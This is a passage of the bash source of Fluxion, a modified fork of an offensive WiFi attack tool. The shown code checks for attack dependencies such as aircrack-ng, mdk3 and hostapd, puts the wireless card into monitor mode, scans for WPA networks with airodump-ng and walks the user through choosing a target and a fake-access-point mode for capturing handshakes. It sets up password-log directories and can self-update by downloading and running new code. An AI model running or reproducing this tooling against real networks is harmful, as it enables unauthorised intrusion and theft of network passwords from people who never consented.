packets\"\ngeneral_exitmode_4=\"Cleaning \"$grey\"iptables\"\ngeneral_exitmode_5=\"Restoring \"$grey\"tput\"\ngeneral_exitmode_6=\"Restarting \"$grey\"Network-Manager\"\ngeneral_exitmode_7=\"Cleanup performed successfully!\"\ngeneral_exitmode_8=\"Thanks for using fluxion\"\n#############################################################################################\n\n# DEBUG MODE = 0 ; DEBUG MODE = 1 [Normal Mode / Developer Mode]\nif [ $FLUX_DEBUG = 1 ]; then\n        ## Developer Mode\n        export flux_output_device=/dev/stdout\n        HOLD=\"-hold\"\nelse\n        ## Normal Mode\n        export flux_output_device=/dev/null\n        HOLD=\"\"\nfi\n\n# Delete Log only in Normal Mode !\nfunction conditional_clear() {\n\n        if [[ \"$flux_output_device\" != \"/dev/stdout\" ]]; then clear; fi\n}\n\nfunction airmon {\n        chmod +x lib/airmon/airmon.sh\n}\nairmon\n\n# Check Updates\nfunction checkupdatess {\n\n        revision_online=\"$(timeout -s SIGTERM 20 curl \"https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion\" 2>/dev/null| grep \"^revision\" | cut -d \"=\" -f2)\"\n        if [ -z \"$revision_online\" ]; then\n                echo \"?\">$DUMP_PATH/Irev\n        else\n                echo \"$revision_online\">$DUMP_PATH/Irev\n        fi\n\n}\n\n# Animation\nfunction spinner {\n\n        local pid=$1\n        local delay=0.15\n        local spinstr='|/-\\'\n                while [ \"$(ps a | awk '{print $1}' | grep $pid)\" ]; do\n                        local temp=${spinstr#?}\n                        printf \" [%c]  \" \"$spinstr\"\n                        local spinstr=$temp${spinstr%\"$temp\"}\n                        sleep $delay\n                        printf \"\\b\\b\\b\\b\\b\\b\"\n                done\n        printf \"    \\b\\b\\b\\b\"\n}\n\n# ERROR Report only in Developer Mode\nfunction err_report {\n        echo \"Error on line $1\"\n}\n\nif [ $FLUX_DEBUG = 1 ]; then\n        trap 'err_report $LINENUM' ERR\nfi\n\n#Function to executed in case of unexpected termination\ntrap exitmode SIGINT SIGHUP\n\nsource lib/exitmode.sh\n\n#Languages for the web interface\nsource language/source\n\n# Design\nfunction top(){\n\n        conditional_clear\n        echo -e \"$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]\"\n        echo -e \"$red[                                                      ]\"\n  echo -e \"$red[  $red    FLUXION $version\" \"${yellow} ${red}  < F\"\"${yellow}luxion\" \"${red}I\"\"${yellow}s\" \"${red}T\"\"${yellow}he \"\"${red}F\"\"${yellow}uture >     \"              ${blue}\"    ]\"\n        echo -e \"$blue[                                                      ]\"\n        echo -e \"$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]\"\"$transparent\"\n        echo\n        echo\n\n}\n\n############################################## < START > ##############################################\n\n# Check requirements\nfunction checkdependences {\n\n        echo -ne \"aircrack-ng.....\"\n        if ! hash aircrack-ng 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"aireplay-ng.....\"\n        if ! hash aireplay-ng 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"airmon-ng.......\"\n        if ! hash airmon-ng 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"airodump-ng.....\"\n        if ! hash airodump-ng 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"awk.............\"\n        if ! hash awk 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"curl............\"\n        if ! hash curl 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"dhcpd...........\"\n        if ! hash dhcpd 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\" (isc-dhcp-server)\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"hostapd.........\"\n        if ! hash hostapd 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"iwconfig........\"\n        if ! hash iwconfig 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"lighttpd........\"\n        if ! hash lighttpd 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"macchanger......\"\n        if ! hash macchanger 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n            echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"mdk3............\"\n        if ! hash mdk3 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"nmap............\"\n        if ! [ -f /usr/bin/nmap ]; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"php-cgi.........\"\n        if ! [ -f /usr/bin/php-cgi ]; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"pyrit...........\"\n        if ! hash pyrit 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"python..........\"\n        if ! hash python 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"unzip...........\"\n        if ! hash unzip 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"xterm...........\"\n        if ! hash xterm 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"openssl.........\"\n        if ! hash openssl 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"rfkill..........\"\n        if ! hash rfkill 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\"\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"strings.........\"\n        if ! hash strings 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\" (binutils)\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n        echo -ne \"fuser...........\"\n        if ! hash fuser 2>/dev/null; then\n                echo -e \"\\e[1;31mNot installed\"$transparent\" (psmisc)\"\n                exit=1\n        else\n                echo -e \"\\e[1;32mOK!\"$transparent\"\"\n        fi\n        sleep 0.025\n\n\n\n        if [ \"$exit\" = \"1\" ]; then\n        exit 1\n        fi\n\n        sleep 1\n        clear\n}\ntop\ncheckdependences\n\n# Create working directory\nif [ ! -d $DUMP_PATH ]; then\n        mkdir -p $DUMP_PATH &>$flux_output_device\nfi\n\n# Create handshake directory\nif [ ! -d $HANDSHAKE_PATH ]; then\n        mkdir -p $HANDSHAKE_PATH &>$flux_output_device\nfi\n\n#create password log directory\nif [ ! -d $PASSLOG_PATH ]; then\n        mkdir -p $PASSLOG_PATH &>$flux_output_device\nfi\n\n\n\nif [ $FLUX_DEBUG != 1 ]; then\n        clear; echo \"\"\n                   sleep 0.01 && echo -e \"$red \"\n           sleep 0.01 && echo -e \"         ⌠▓▒▓▒   ⌠▓╗     ⌠█┐ ┌█   ┌▓\\  /▓┐   ⌠▓╖   ⌠◙▒▓▒◙   ⌠█\\  ☒┐    \"\n           sleep 0.01 && echo -e \"         ║▒_     │▒║     │▒║ ║▒    \\▒\\/▒/    │☢╫   │▒┌╤┐▒   ║▓▒\\ ▓║    \"\n           sleep 0.01 && echo -e \"         ≡◙◙     ║◙║     ║◙║ ║◙      ◙◙      ║¤▒   ║▓║☯║▓   ♜◙\\✪\\◙♜    \"\n           sleep 0.01 && echo -e \"         ║▒      │▒║__   │▒└_┘▒    /▒/\\▒\\    │☢╫   │▒└╧┘▒   ║█ \\▒█║    \"\n           sleep 0.01 && echo -e \"         ⌡▓      ⌡◘▒▓▒   ⌡◘▒▓▒◘   └▓/  \\▓┘   ⌡▓╝   ⌡◙▒▓▒◙   ⌡▓  \\▓┘    \"\n           sleep 0.01 && echo -e \"        ¯¯¯     ¯¯¯¯¯¯  ¯¯¯¯¯¯¯  ¯¯¯    ¯¯¯ ¯¯¯¯  ¯¯¯¯¯¯¯  ¯¯¯¯¯¯¯¯  \"\n\n        echo\"\"\n\n        sleep 0.1\n        echo -e $red\"                     FLUXION \"$white\"\"$version\" (rev. \"$green \"$revision\"$white\") \"$yellow\"modified by \"$white\"Mr SAGE\"\n        sleep 0.1\n        echo -e $green \"           Page:\"$red\"https://github.com/thehackingsage/Fluxion  \"$transparent\n        sleep 0.1\n        echo -n \"                              Latest rev.\"\n        tput civis\n        checkupdatess &\n        spinner \"$!\"\n        revision_online=$(cat $DUMP_PATH/Irev)\n        echo -e \"\"$white\" [${purple}${revision_online}$white\"$transparent\"]\"\n                if [ \"$revision_online\" != \"?\" ]; then\n\n                        if [ \"$revision\" -lt \"$revision_online\" ]; then\n                                echo\n                                echo\n                                echo -ne $red\"            New revision found! \"$yellow\n                                echo -ne \"Update? [Y/n]: \"$transparent\n                                read -N1 doupdate\n                                echo -ne \"$transparent\"\n                                doupdate=${doupdate:-\"Y\"}\n\n                            if [ \"$doupdate\" = \"Y\" ]; then\n                                cp $0 $HOME/flux_rev-$revision.backup\n                                curl \"https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion\" -s -o $0\n                                echo\n                                echo\n                                echo -e \"\"$red\"Updated successfully! Restarting the script to apply the changes ...\"$transparent\"\"\n                                sleep 3\n                                chmod +x $0\n                                exec $0\n                                exit\n                            fi\n                        fi\n                fi\n        echo \"\"\n        tput cnorm\n        sleep 1\n\nfi\n\n# Show info for the selected AP\nfunction infoap {\n\n        Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = \":\" } ; { print $1\":\"$2\":\"$3}' | tr [:upper:] [:lower:]`\n        Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d \" \" -f 5-`\n        echo \"INFO WIFI\"\n        echo\n        echo -e \"               \"$blue\"SSID\"$transparent\" = $Host_SSID / $Host_ENC\"\n        echo -e \"               \"$blue\"Channel\"$transparent\" = $channel\"\n        echo -e \"               \"$blue\"Speed\"$transparent\" = ${speed:2} Mbps\"\n        echo -e \"               \"$blue\"BSSID\"$transparent\" = $mac (\\e[1;33m$Host_MAC_MODEL $transparent)\"\n        echo\n}\n############################################### < MENU > ###############################################\n\n# Windows + Resolution\nfunction setresolution {\n\n        function resA {\n\n                TOPLEFT=\"-geometry 90x13+0+0\"\n                TOPRIGHT=\"-geometry 83x26-0+0\"\n                BOTTOMLEFT=\"-geometry 90x24+0-0\"\n                BOTTOMRIGHT=\"-geometry 75x12-0-0\"\n                TOPLEFTBIG=\"-geometry 91x42+0+0\"\n                TOPRIGHTBIG=\"-geometry 83x26-0+0\"\n        }\n\n        function resB {\n\n                TOPLEFT=\"-geometry 92x14+0+0\"\n                TOPRIGHT=\"-geometry 68x25-0+0\"\n                BOTTOMLEFT=\"-geometry 92x36+0-0\"\n                BOTTOMRIGHT=\"-geometry 74x20-0-0\"\n                TOPLEFTBIG=\"-geometry 100x52+0+0\"\n                TOPRIGHTBIG=\"-geometry 74x30-0+0\"\n        }\n        function resC {\n\n                TOPLEFT=\"-geometry 100x20+0+0\"\n                TOPRIGHT=\"-geometry 109x20-0+0\"\n                BOTTOMLEFT=\"-geometry 100x30+0-0\"\n                BOTTOMRIGHT=\"-geometry 109x20-0-0\"\n                TOPLEFTBIG=\"-geometry  100x52+0+0\"\n                TOPRIGHTBIG=\"-geometry 109x30-0+0\"\n        }\n        function resD {\n                TOPLEFT=\"-geometry 110x35+0+0\"\n                TOPRIGHT=\"-geometry 99x40-0+0\"\n                BOTTOMLEFT=\"-geometry 110x35+0-0\"\n                BOTTOMRIGHT=\"-geometry 99x30-0-0\"\n                TOPLEFTBIG=\"-geometry 110x72+0+0\"\n                TOPRIGHTBIG=\"-geometry 99x40-0+0\"\n        }\n        function resE {\n                TOPLEFT=\"-geometry 130x43+0+0\"\n                TOPRIGHT=\"-geometry 68x25-0+0\"\n                BOTTOMLEFT=\"-geometry 130x40+0-0\"\n                BOTTOMRIGHT=\"-geometry 132x35-0-0\"\n                TOPLEFTBIG=\"-geometry 130x85+0+0\"\n                TOPRIGHTBIG=\"-geometry 132x48-0+0\"\n        }\n        function resF {\n                TOPLEFT=\"-geometry 100x17+0+0\"\n                TOPRIGHT=\"-geometry 90x27-0+0\"\n                BOTTOMLEFT=\"-geometry 100x30+0-0\"\n                BOTTOMRIGHT=\"-geometry 90x20-0-0\"\n                TOPLEFTBIG=\"-geometry  100x70+0+0\"\n                TOPRIGHTBIG=\"-geometry 90x27-0+0\"\n}\n\ndetectedresolution=$(xdpyinfo | grep -A 3 \"screen #0\" | grep dimensions | tr -s \" \" | cut -d\" \" -f 3)\n##  A) 1024x600\n##  B) 1024x768\n##  C) 1280x768\n##  D) 1280x1024\n##  E) 1600x1200\ncase $detectedresolution in\n        \"1024x600\" ) resA ;;\n        \"1024x768\" ) resB ;;\n        \"1280x768\" ) resC ;;\n        \"1366x768\" ) resC ;;\n        \"1280x1024\" ) resD ;;\n        \"1600x1200\" ) resE ;;\n        \"1366x768\"  ) resF ;;\n                  * ) resA ;;\nesac\n\nlanguage; setinterface\n}\n\nfunction language {\n\n    iptables-save > $DUMP_PATH/iptables-rules\n    conditional_clear\n\nif [ \"$FLUX_AUTO\" =  \"1\" ];then\n        source $WORK_DIR/language/en; setinterface\n\nelse\n\n        while true; do\n                conditional_clear\n                top\n\n                echo -e \"\"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" Select your language\"\n                echo \"                                       \"\n                echo -e \"      \"$red\"[\"$yellow\"1\"$red\"]\"$grey\" English          \"\n                echo -e \"      \"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" German      \"\n                echo -e \"      \"$red\"[\"$yellow\"3\"$red\"]\"$transparent\" Romanian     \"\n                echo -e \"      \"$red\"[\"$yellow\"4\"$red\"]\"$transparent\" Turkish    \"\n                echo -e \"      \"$red\"[\"$yellow\"5\"$red\"]\"$transparent\" Spanish    \"\n                echo -e \"      \"$red\"[\"$yellow\"6\"$red\"]\"$transparent\" Chinese   \"\n                echo -e \"      \"$red\"[\"$yellow\"7\"$red\"]\"$transparent\" Italian   \"\n                echo -e \"      \"$red\"[\"$yellow\"8\"$red\"]\"$transparent\" Czech   \"\n                echo -e \"      \"$red\"[\"$yellow\"9\"$red\"]\"$transparent\" Greek   \"\n                echo -e \"      \"$red\"[\"$yellow\"10\"$red\"]\"$transparent\" French     \"\n                echo -e \"      \"$red\"[\"$yellow\"11\"$red\"]\"$transparent\" Slovenian \"\n                echo \"                                       \"\n                echo -n -e \"\"$red\"[\"$blue\"deltaxflux\"$yellow\"@\"$white\"fluxion\"$red\"]-[\"$yellow\"~\"$red\"]\"$transparent\"\"\n                read yn\n                echo \"\"\n                case $yn in\n                    1 ) source $WORK_DIR/language/en;  break;;\n                    2 ) source $WORK_DIR/language/ger; break;;\n                    3 ) source $WORK_DIR/language/ro;  break;;\n                    4 ) source $WORK_DIR/language/tu;  break;;\n                    5 ) source $WORK_DIR/language/esp; break;;\n                    6 ) source $WORK_DIR/language/ch;  break;;\n                    7 ) source $WORK_DIR/language/it;  break;;\n                    8 ) source $WORK_DIR/language/cz   break;;\n                    9 ) source $WORK_DIR/language/gr;  break;;\n                    10 ) source $WORK_DIR/language/fr; break;;\n                    11 ) source $WORK_DIR/language/svn; break;;\n                    * ) echo \"Unknown option. Please choose again\"; conditional_clear ;;\n                  esac\n        done\nfi\n\n}\n\n# Choose Interface\nfunction setinterface {\n\n  conditional_clear\n        top\n        #unblock interfaces\n        rfkill unblock all\n\n        # Collect all interfaces in montitor mode & stop all\n        KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'`\n\n        for monkill in ${KILLMONITOR[@]}; do\n                airmon-ng stop $monkill >$flux_output_device\n                echo -n \"$monkill, \"\n        done\n\n        # Create a variable with the list of physical network interfaces\n        readarray -t wirelessifaces < <(./lib/airmon/airmon.sh    |grep \"-\" | cut -d- -f1)\n        INTERFACESNUMBER=`./lib/airmon/airmon.sh   | grep -c \"-\"`\n\n\n        if [ \"$INTERFACESNUMBER\" -gt \"0\" ]; then\n\n                if [ \"$INTERFACESNUMBER\" -eq \"1\" ]; then\n                        PREWIFI=$(echo ${wirelessifaces[0]} | awk '{print $1}')\n                else\n                        echo $header_setinterface\n                        echo\n                        i=0\n\n                        for line in \"${wirelessifaces[@]}\"; do\n                                i=$(($i+1))\n                                wirelessifaces[$i]=$line\n                                echo -e \"      \"$red\"[\"$yellow\"$i\"$red\"]\"$transparent\" $line\"\n                        done\n\n                        if [ \"$FLUX_AUTO\" = \"1\" ];then\n                                line=\"1\"\n                        else\n                                echo\n                                echo -n -e \"\"$red\"[\"$blue\"deltaxflux\"$yellow\"@\"$white\"fluxion\"$red\"]-[\"$yellow\"~\"$red\"]\"$transparent\"\"\n                                read line\n                        fi\n\n                        PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}')\n\n                fi\n\n                if [ $(echo \"$PREWIFI\" | wc -m) -le 3 ]; then\n                        conditional_clear\n                        top\n                        setinterface\n                fi\n\n                readarray -t naggysoftware < <(./lib/airmon/airmon.sh check $PREWIFI | tail -n +8 | grep -v \"on interface\" | awk '{ print $2 }')\n                WIFIDRIVER=$(./lib/airmon/airmon.sh | grep \"$PREWIFI\" | awk '{print($(NF-2))}')\n\n                if [ ! \"$(echo $WIFIDRIVER | egrep 'rt2800|rt73')\" ]; then\n                rmmod -f \"$WIFIDRIVER\" &>$flux_output_device 2>&1\n                fi\n\n                if [ $KEEP_NETWORK = 0 ]; then\n\n                for nagger in \"${naggysoftware[@]}\"; do\n                        killall \"$nagger\" &>$flux_output_device\n                done\n                sleep 0.5\n\n                fi\n\n                if [ ! \"$(echo $WIFIDRIVER | egrep 'rt2800|rt73')\" ]; then\n                modprobe \"$WIFIDRIVER\" &>$flux_output_device 2>&1\n                sleep 0.5\n                fi\n\n                # Select Wifi Interface\n                select PREWIFI in $INTERFACES; do\n                        break;\n                done\n\n                WIFIMONITOR=$(./lib/airmon/airmon.sh start $PREWIFI | grep \"enabled on\" | cut -d \" \" -f 5 | cut -d \")\" -f 1)\n                WIFI_MONITOR=$WIFIMONITOR\n                WIFI=$PREWIFI\n\n                #No wireless cards\n        else\n\n                echo $setinterface_error\n                sleep 5\n                exitmode\n        fi\n\n        ghost\n}\n\n# Check files\nfunction ghost {\n\n        conditional_clear\n        CSVDB=dump-01.csv\n\n        rm -rf $DUMP_PATH/*\n\n        choosescan\n        selection\n}\n\n# Select channel\nfunction choosescan {\n\n\n        if [ \"$FLUX_AUTO\" = \"1\" ];then\n                Scan\n        else\n         conditional_clear\n                while true; do\n                        conditional_clear\n                        top\n\n                        echo -e \"\"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" $header_choosescan\"\n                        echo \"                                       \"\n                        echo -e \"      \"$red\"[\"$yellow\"1\"$red\"]\"$grey\" $choosescan_option_1          \"\n                        echo -e \"      \"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" $choosescan_option_2       \"\n                        echo -e \"      \"$red\"[\"$yellow\"3\"$red\"]\"$red\" $general_back       \" $transparent\n                        echo \"                                       \"\n                        echo -n -e \"\"$red\"[\"$blue\"deltaxflux\"$yellow\"@\"$white\"fluxion\"$red\"]-[\"$yellow\"~\"$red\"]\"$transparent\"\"\n                        read yn\n                        echo \"\"\n                        case $yn in\n                                1 ) Scan ; break ;;\n                                2 ) Scanchan ; break ;;\n                                3 ) setinterface; break;;\n                                * ) echo \"Unknown option. Please choose again\"; conditional_clear ;;\n                          esac\n                done\n        fi\n}\n\n# Choose your channel if you choose option 2 before\nfunction Scanchan {\n\n        conditional_clear\n        top\n\n          echo \"                                       \"\n          echo -e \"\"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" $header_choosescan     \"\n          echo \"                                       \"\n          echo -e \"     $scanchan_option_1 \"$blue\"6\"$transparent\"               \"\n          echo -e \"     $scanchan_option_2 \"$blue\"1-5\"$transparent\"             \"\n          echo -e \"     $scanchan_option_2 \"$blue\"1,2,5-7,11\"$transparent\"      \"\n          echo \"                                       \"\n        echo -n -e \"\"$red\"[\"$blue\"deltaxflux\"$yellow\"@\"$white\"fluxion\"$red\"]-[\"$yellow\"~\"$red\"]\"$transparent\"\"\n        read channel_number\n        set -- ${channel_number}\n        conditional_clear\n\n        rm -rf $DUMP_PATH/dump*\n        xterm $HOLD -title \"$header_scanchan [$channel_number]\" $TOPLEFTBIG -bg \"#000000\" -fg \"#FFFFFF\" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump --channel \"$channel_number\" -a $WIFI_MONITOR --ignore-negative-one\n}\n\n# Scans the entire network\nfunction Scan {\n\n        conditional_clear\n        rm -rf $DUMP_PATH/dump*\n\n        if [ \"$FLUX_AUTO\" = \"1\" ];then\n                sleep 30 && killall xterm &\n        fi\n        xterm $HOLD -title \"$header_scan\" $TOPLEFTBIG -bg \"#FFFFFF\" -fg \"#000000\" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump -a $WIFI_MONITOR --ignore-negative-one\n\n}\n\n# Choose a network\nfunction selection {\n\n        conditional_clear\n        top\n\n\n        LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'`\n\n        if [ \"$LINEAS_WIFIS_CSV\" = \"\" ];then\n                conditional_clear\n                top\n                echo -e \"\"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" Error: your wireless card  isn't supported  \"\n                echo -n -e $transparent\"Do you want exit? \"$red\"[\"$yellow\"Y\"$transparent\"es / \"$yellow\"N\"$transparent\"o\"$red\"]\"$transparent\":\"\n                read back\n                if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then\n                        clear && exitmode\n\n                elif [ $back = 'y' ] && [ $back = 'Y' ] && [ $back = 'yes' ] && [ $back = 'Yes' ];then\n                        clear && setinterface\n                fi\n\n        fi\n\n        if [ $LINEAS_WIFIS_CSV -le 3 ]; then\n                ghost && break\n        fi\n\n        fluxionap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'`\n        fluxionap=`expr $fluxionap - 1`\n        head -n $fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv\n        tail -n +$fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv\n        echo \"                        WIFI LIST \"\n        echo \"\"\n        echo \" ID      MAC                      CHAN    SECU     PWR   ESSID\"\n        echo \"\"\n        i=0\n\n        while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do\n                longueur=${#MAC}\n                PRIVACY=$(echo $PRIVACY| tr -d \"^ \")\n                PRIVACY=${PRIVACY:0:4}\n                if [ $longueur -ge 17 ]; then\n                        i=$(($i+1))\n                        POWER=`expr $POWER + 100`\n                        CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC`\n\n                        if [ \"$CLIENTE\" != \"\" ]; then\n                                CLIENTE=\"*\"\n                        echo -e \" \"$red\"[\"$yellow\"$i\"$red\"]\"$green\"$CLIENTE\\t\"\"$red\"$MAC\"\\t\"\"$red \"$CHANNEL\"\\t\"\"$green\" $PRIVACY\"\\t  \"\"$red\"$POWER%\"\\t\"\"$red \"$ESSID\"\"$transparent\"\"\n\n                        else\n\n                        echo -e \" \"$red\"[\"$yellow\"$i\"$red\"]\"$white\"$CLIENTE\\t\"\"$yellow\"$MAC\"\\t\"\"$green \"$CHANNEL\"\\t\"\"$blue\" $PRIVACY\"\\t  \"\"$yellow\"$POWER%\"\\t\"\"$green \"$ESSID\"\"$transparent\"\"\n\n                        fi\n\n                        aidlength=$IDLENGTH\n                        assid[$i]=$ESSID\n                        achannel[$i]=$CHANNEL\n                        amac[$i]=$MAC\n                        aprivacy[$i]=$PRIVACY\n                        aspeed[$i]=$SPEED\n                fi\n        done < $DUMP_PATH/dump-02.csv\n\n        # Select the first network if you select the first network\n        if [ \"$FLUX_AUTO\" = \"1\" ];then\n                choice=1\n        else\n                echo\n                echo -e \"\"$blue \"(\"$white\"*\"$blue\") $selection_1\"$transparent\"\"\n                echo \"\"\n                echo -e \"        $selection_2\"\n                echo -n -e \"\"$red\"[\"$blue\"deltaxflux\"$yellow\"@\"$white\"fluxion\"$red\"]-[\"$yellow\"~\"$red\"]\"$transparent\"\"\n                read choice\n        fi\n\n        if [[ $choice -eq \"r\" ]]; then\n                ghost\n        fi\n\n        idlength=${aidlength[$choice]}\n        ssid=${assid[$choice]}\n        channel=$(echo ${achannel[$choice]}|tr -d [:space:])\n        mac=${amac[$choice]}\n        privacy=${aprivacy[$choice]}\n        speed=${aspeed[$choice]}\n        Host_IDL=$idlength\n        Host_SPEED=$speed\n        Host_ENC=$privacy\n        Host_MAC=$mac\n        Host_CHAN=$channel\n        acouper=${#ssid}\n        fin=$(($acouper-idlength))\n        Host_SSID=${ssid:1:fin}\n        Host_SSID2=`echo $Host_SSID | sed 's/ //g' | sed 's/\\[//g;s/\\]//g' | sed 's/\\://g;s/\\://g' | sed 's/\\*//g;s/\\*//g' | sed 's/(//g' | sed 's/)//g'`\n        conditional_clear\n\n        askAP\n}\n\n\n# FakeAP\nfunction askAP {\n\n        DIGITOS_WIFIS_CSV=`echo \"$Host_MAC\" | wc -m`\n\n        if [ $DIGITOS_WIFIS_CSV -le 15 ]; then\n                selection && break\n        fi\n\n        if [ \"$(echo $WIFIDRIVER | grep 8187)\" ]; then\n                fakeapmode=\"airbase-ng\"\n                askauth\n        fi\n\n        if [ \"$FLUX_AUTO\" = \"1\" ];then\n                fakeapmode=\"hostapd\"; authmode=\"handshake\"; handshakelocation\n        else\n                top\n                while true; do\n\n                        infoap\n\n                        echo -e \"\"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" $header_askAP\"\n                        echo \"                                       \"\n                        echo -e \"      \"$red\"[\"$yellow\"1\"$red\"]\"$grey\" $askAP_option_1\"\n                        echo -e \"      \"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" $askAP_option_2\"\n                        echo -e \"      \"$red\"[\"$yellow\"3\"$red\"]\"$red\" $general_back\" $transparent\n                        echo \"                                       \"\n                        echo -n -e \"\"$red\"[\"$blue\"deltaxflux\"$yellow\"@\"$white\"fluxion\"$red\"]-[\"$yellow\"~\"$red\"]\"$transparent\"\"\n                        read yn\n                        echo \"\"\n                        case $yn in\n                                1 ) fakeapmode=\"hostapd\"; authmode=\"handshake\"; handshakelocation; break ;;\n                                2 ) fakeapmode=\"airbase-ng\"; askauth; break ;;\n                                3 ) selection; break ;;\n                                * ) echo \"$general_case_error\"; conditional_clear ;;\n                        esac\n                done\n        fi\n}\n\n# Test Passwords / airbase-ng\nfunction askauth {\n\n        if [ \"$FLUX_AUTO\" = \"1\" ];then\n                authmode=\"handshake\"; handshakelocation\n        else\n                conditional_clear\n\n                top\n                while true; do\n\n                        echo -e \"\"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" $header_askauth\"\n                        echo \"                                       \"\n                        echo -e \"      \"$red\"[\"$yellow\"1\"$red\"]\"$grey\" $askauth_option_1\"\n                        echo -e \"      \"$red\"[\"$yellow\"2\"$red\"]\"$transparent\" $askauth_option_2\"\n                        echo -e \"      \"$red\"[\"$yellow\"3\"$red\"]\"$red\" $general_back\" $transparent\n                        echo \"                                       \"\n                        echo -n -e 